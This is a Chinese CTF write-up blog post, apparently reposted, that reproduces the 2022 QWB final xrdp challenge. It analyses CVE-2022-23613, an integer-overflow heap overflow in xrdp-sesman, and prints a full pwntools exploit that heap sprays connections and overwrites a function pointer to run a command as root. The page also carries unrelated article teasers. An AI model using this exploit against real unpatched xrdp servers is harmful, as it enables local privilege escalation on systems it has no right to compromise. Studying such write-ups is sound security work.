CTF特训日记day(4-6)

来复现一下2022QWB决赛的RDP题目

这两天腰疼去了趟医院

题目要求我们攻击XRDP程序,从而达到本地提权的效果。
首先观察XRDP程序的版本信息

root@RDP:/home/rdp/Desktop# xrdp-sesman -version
xrdp-sesman 0.9.18The xrdp session managerCopyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors.See https://github.com/neutrinolabs/xrdp for more information.Configure options:

然后在CVE里搜一下发现有个漏洞版本刚好合适,并且满足题目的提权要求
在这里插入图片描述

从CVE介绍中获得漏洞补丁URL
MISC:https://github.com/neutrinolabs/xrdp/commit/4def30ab8ea445cdc06832a44c3ec40a506a0ffa

可以看到修改的代码行数很少,可以比较容易的分析出漏洞成因
在这里插入图片描述

根据patch信息以及漏洞描述可以判断出漏洞成因是size导致的整型溢出。这里的size会直接赋值给self->header_size。

进入题目虚拟机之后会在RW文件夹下找到一个diff文件

在这里插入图片描述

看上去应该是作者为了方便我们使用漏洞实现提权操作而进行的一个diff

查看一下服务开放的服务
在这里插入图片描述
经分析,做题思路暂时可以确定为通过CVE-2022-23613漏洞配合题目所给出的diff攻击题目开放在3350的xrdp-sesman服务进行本地提权。

接下来在源码中对程序漏洞进行一下简单的分析,在sesman.c中会有一个主循环sesman_main_loop,主循环会创建一个g_list_trans
在这里插入图片描述
其接收连接的函数主要实现在sesman_listen_conn_in中
在这里插入图片描述
最后走到patch中的sesman_data_in

在这里插入图片描述

有一个宏in_uint32_be,在parse.h中有具体展开,就不放了,其实就是从arg1中拿一个int出来给arg2,并让arg1作为int指针加一,这里可以理解成self->in_s指向了程序接收到的用户输入,其中第一个dword作为版本信息给version变量,第二个dword作为headersize给size变量。

在这里由于size是可以自己指定的,所以相当于self->header_size变成了一个用户可控的int类型数据。

在函数trans_check_wait_objs中有此变量的后续应用

if (self->type1 == TRANS_TYPE_LISTENER)/* listening */
{
g_sck_can_recv
g_sck_accept
...
}
else /* connected server or client (2 or 3) */
{if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES){}else if (self->trans_can_recv(self, self->sck, 0)){cur_source = XRDP_SOURCE_NONE;if (self->si != 0){cur_source = self->si->cur_source;self->si->cur_source = self->my_source;}read_so_far = (int) (self->in_s->end - self->in_s->data);to_read = self->header_size - read_so_far;if (to_read > 0){read_bytes = self->trans_recv(self, self->in_s->end, to_read);......}read_so_far = (int) (self->in_s->end - self->in_s->data);if (read_so_far == self->header_size){if (self->trans_data_in != 0){rv = self->trans_data_in(self);if (self->no_stream_init_on_data_in == 0){init_stream(self->in_s, 0);}}}
}

程序在此函数中进行了监听和接收数据的处理流程,其中比较值得注意的就是这行代码

to_read = self->header_size - read_so_far;

这里的to_read也为int,并且如果to_read大于零会执行self->trans_recv(self, self->in_s->end, to_read);

这个函数注册与create阶段
在这里插入图片描述
即实际执行的是trans_tcp_recv,追溯到最后就是原生的recv函数,而其缓冲区则是self->in_s,通过init_stream函数分配空间
在这里插入图片描述
分配到的是堆上的空间,而in_size则是在sesman.c中写死的8192
在这里插入图片描述

分析到这里整体漏洞成因已经彻底清楚了,如果我们能控制一个不受任何限制的header_size,将其控制为0x80000000,即一个最小负数,从而绕过header_size不能大于总的输入长度的限制,然后read_so_far作为一个随意的小数,相减以后发生负溢出,header_size将变成一个非常巨大的远超8192的正数,从而导致堆溢出发生。

漏洞分析就到这里,接下来写一个poc调试一下看看是否会触发。

首先看一下xrdp-sesman的pid,然后attach上去,写出poc脚本进行测试,attach的时候断点可以下在trans_check_wait_objs处

测试脚本非常简单

from pwn import *
payload=b'v'*4
payload+=p32(0x80000000)
io=remote("127.0.0.1",3350)
io.send(payload)
io.send('a'*0x1000)


成功断在了函数处
在这里插入图片描述

但是随着调试发现事情不对劲

这里明明应该是0x80000000和0x9,但是变成了0x80和0x9,导致预期的整数负溢出没有发生
在这里插入图片描述

这也就导致到了调用tcp_recv的时候rdx并不是一个非常大的数
在这里插入图片描述

猜测由于网络传输是大端序,所以不能直接p32,于是修改脚本:
在这里插入图片描述

这一次成功将rdx修改为一个超大正整数,发生堆溢出
在这里插入图片描述

有了堆溢出以后,可以试着寻找分配在堆上且有函数指针的结构体,之前分析源码的时候有遇到过一个create函数
在这里插入图片描述

这里不仅输入输出缓冲区是用init_stream分配出来的堆空间,其本身也是g_malloc分配出来的堆空间,上面填充了recv,send等函数,如果能够通过堆溢出将recv函数为程序本身就有的g_execlp3,则相当于可以调用system函数,那么能否控制rdi呢?来看看recv函数具体调用的时候寄存器的状态

在这里插入图片描述

在调用的时候tcp_recv函数位置由rbx进行定位,而rbx和rdi所指向的都当前trans结构体,也就是说只要我们保证结构体中recv函数指针覆盖为exec的同时覆盖结构体的开头为我们想要执行的命令,则可以在下一次使用此trans接收数据的时候执行任意命令。

还剩一个问题,就是堆空间非常复杂,我们能否精准的覆盖到指定的结构体上完成了漏洞利用,这个问题一定程度上来说出题人已经帮我们解决了一大半了,还记得当初的diff吗。将原本为16的MAX_SHORT_LIVED_CONNECTIONS改成了512,这意味着我们可以通过不停创建trans进行堆喷。

通过堆溢出修改堆上的函数指针,并且rdi指向的是结构体头部,所以rdi也可以直接控下,由于我们的任务只是提权,所以可以提前在系统中写入要执行文件,这样在进行漏洞利用的时候只需要执行一条命令即可。

在实际调试的过程中遇到好几处地方需要保证只是是一个可写地址,具体有哪些地址需要额外关照,有两种方式,第一种是通过对程序进行逆向,分析其机构体中有哪些字段需要为可写地址,第二种方式是直接调试,第一次覆盖的时候除了函数指针以外其余所有地方直接用0填充,然后下断点进行调试,就可以看到有些取值指令是执行失败的,遇到取值指令失败的地方就填一个可写地址上去,慢慢调就可以了。

from pwn import *
elf=ELF('./xrdp-sesman')
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')
with open("/tmp/do", "w") as f:f.write("#!/bin/bash\necho \"Ayaka\" > /flag")
os.system("chmod a+x /tmp/do")
conn_list=[]
def heap_spray():for i in range(100):io=remote("127.0.0.1",3350)conn_list.append(io)
heap_spray()
bss=0x40a000
input()
system_plt=elf.plt['g_execlp3']
payload=b'v'*4
payload+=p32(0x80000000)[::-1]
io1=conn_list[97]
io1.send(payload)
payload=p64(bss)*(0x4160//8)+p64(0x2b0)+b'/tmp/do\x00'
payload+=p32(1)*2+p64(2)+p64(0)*3+p64(0x400318)+p64(bss)*2+p64(0)*71+p64(0x0000000000403BF0)+p64(0x0000000000403C40)*2
io1.send(payload)conn_list[98].send("a"*8)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/200008.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【eNSP实践】eNSP实战篇(2)之简单实现交换机与主机的配置(图文详解)

目录 写在前面涉及知识1、交换机实验1.1 实验条件1.2 实验步骤A、打开eNSP软件,创建拓扑B、搭建主机与交换机连线C、配置交换机和主机D、验证不同网段设备可通性 1.3 通过交换机查看MAC地址 写在最后 写在前面 其实前面文章我有介绍关于路由器的使用,但…

Java多线程技术二:线程间通信——wait/notify机制

1 概述 线程时操作系统中独立的个体,但这些个体如果不经过特殊的处理是不能成为一个整体的。线程间的通信就是使线程成为整体的比用方案之一,可以说,是线程间进行通信后系统之间的交互性会更强大,CPU利用率会得以大幅提高&#xf…

执法记录仪、一体化布控球等目前支持的AI智能算法、视频智能分析算法有哪些

一、前端设备实现AI算法 主要是基于安卓的布控球实现,已有的算法包括: 1)人脸;2)车牌;3)是否佩戴安全帽;4)是否穿着工装; 可以支持定制开发 烟雾&#xf…

使用晶振遇到的两个问题

并联电阻的问题 在一些方案中,晶振并联1MΩ电阻时,程序运行正常,而在没有1MΩ电阻的情况下,程序运行有滞后及无法运行现象发生。 原因分析: 在无源晶振应用方案中,两个外接电容能够微调晶振产生的时钟频率…

开放式蓝牙耳机什么品牌好?南卡、韶音、cleer开放式耳机哪个好?

开放式耳机采用不入耳的设计,提供更为舒适的佩戴体验,不会给耳朵带来持续的压力和损害,减轻身体负担。同时,由于无需将耳机插入耳朵内,减少了细菌滋生的可能性,避免了一些耳道健康问题。这些优点也是开放式…

P5 Linux 标准C库函数

目录 前言 01 标准输入、标准输出和标准错误 02 打开文件 fopen() 03 新建文件的权限 04 fclose()关闭文件 05 读文件和写文件 06 库函数 fseek 定位 6.1 lseek的使用 07 ftell()函数 前言 🎬 个人主页:ChenPi 🐻推荐专栏1: 《C_Chen…

Dinky之安装部署与基本使用

Dinky之安装部署与基本使用 Dinky概览Linux安装部署解压到指定目录初始化MySQL数据库修改配置文件加载依赖启动Dinky Docker部署启动dinky-mysql-server镜像启动dinky-standalone-server镜像 Dinky的基本使用上传jar包Flink配置集群管理集群实例管理集群配置管理 创建作业语句编…

打破界限:SQL数据库水平扩展的8大挑战与机遇

数据库扩展是指提升数据库处理更多数据、更多用户或更多交易的能力。通常,SQL数据库采用垂直扩展的方式,即通过增加更多的CPU、内存或存储空间来增强数据库服务器的性能。然而,这种方法受限于单个服务器的硬件能力。 为了克服这一限制&#…

《形式语言与自动机理论(第4版)》笔记(二)

文章目录 [toc]前导《形式语言与自动机理论(第4版)》笔记(一) 第三章:有穷状态自动机3.1|语言的识别3.2|有穷状态自动机即时描述 s e t ( ) set() set()例题问题 1 1 1解答问题 2 2 2解答 3.3|不确定的有穷状态自动机构…

pandas详细笔记

一:什么是Pandas from matplotlib import pyplot import numpy as np import pandas as pdarange np.arange(1, 10, 2) series pd.Series(arange,indexlist("ABCDE")) print(series)二:索引 三:切片 位置索引切片(左闭…

【数据结构(七)】查找算法

文章目录 查找算法介绍1. 线性查找算法2. 二分查找算法2.1. 思路分析2.2. 代码实现2.3. 功能拓展 3. 插值查找算法3.1. 前言3.2. 相关概念3.3. 实例应用 4. 斐波那契(黄金分割法)查找算法4.1. 斐波那契(黄金分割法)原理4.2. 实例应用 查找算法介绍 在 java 中,我们…

Linux快速搭建本地yum更新audit

场景:内网一台服务器上线,需要更新audit版本,因无法与其他服务器通信,需临时配置本地仓库。 1、上传新版本操作系统iso到服务器 2、创建yum仓库文件存储目录 mkdir /opt/myrepo 3、挂载磁盘到/mnt mount /opt/Kylin-Server-V…

电脑CentOS 7.6与Windows系统对比:使用方式、优缺点概述

在多操作系统环境中,CentOS 7.6和Windows系统各自独占鳌头,它们在功能、稳定性、兼容性以及安全性等方面都有着各自的优点。这篇文章将对比分析这两个操作系统,以便用户能更好地了解它们的特点和使用方式。 一、使用方式 CentOS 7.6 CentO…

探索Web前端技术的变革与未来发展

Web前端技术作为构建现代互联网应用的重要一环,自诞生以来已经经历了多轮的发展和变革。本文将回顾过去的进展,介绍当前的前端技术栈,并展望未来前端领域的发展趋势,包括新兴技术和重要概念。 引言 在信息时代的快速发展的背景下&…

【剑指offer|图解|位运算】训练计划VI+撞色搭配

🌈个人主页:聆风吟 🔥系列专栏:数据结构、剑指offer每日一练 🔖少年有梦不应止于心动,更要付诸行动。 文章目录 一. ⛳️训练计划VI(题目难度:中等)1.1 题目1.2 示例1.3 …

读书笔记-《数据结构与算法》-摘要3[选择排序]

选择排序 核心:不断地选择剩余元素中的最小者。 找到数组中最小元素并将其和数组第一个元素交换位置。在剩下的元素中找到最小元素并将其与数组第二个元素交换,直至整个数组排序。 性质: 比较次数(N-1)(N-2)(N-3)…21~N^2/2交换次数N运行…

基于ssm vue的风景文化管理平台源码和论文

摘 要 随着信息化时代的到来,管理系统都趋向于智能化、系统化,基于vue的木里风景文化管理平台也不例外,但目前国内的市场仍都使用人工管理,市场规模越来越大,同时信息量也越来越庞大,人工管理显然已无法应对…

SpringBoot集成mail发送邮件

前言 发送邮件功能,借鉴 刚果商城,根据文档及项目代码实现。整理总结便有了此文,文章有不对的点,请联系博主指出,请多多点赞收藏,您的支持是我最大的动力~ 发送邮件功能主要借助 mail、freemarker以及rocke…

CoreDNS实战(七)-日志处理

本文主要用于介绍CoreDNS用来记录日志的几种方式以及在生产环境中遇到的一些问题和解决方案。 1 log插件 coredns的日志输出并不如nginx那么完善(并不能在配置文件中指定输出的文件目录,但是可以指定日志的格式),默认情况下不论…

【Midjourney实战】| 新年礼盒元素设计

文章目录 1 初步提示词2 润色提示词3 提示词发散联想 这期实践任务,我们想去做一个新年礼盒的效果,最后我们想把不同元素拼在一起,方便后期进行新年的相关设计 1 初步提示词 提示词初步我们乍一想,肯定要包括主体元素礼盒 新年礼…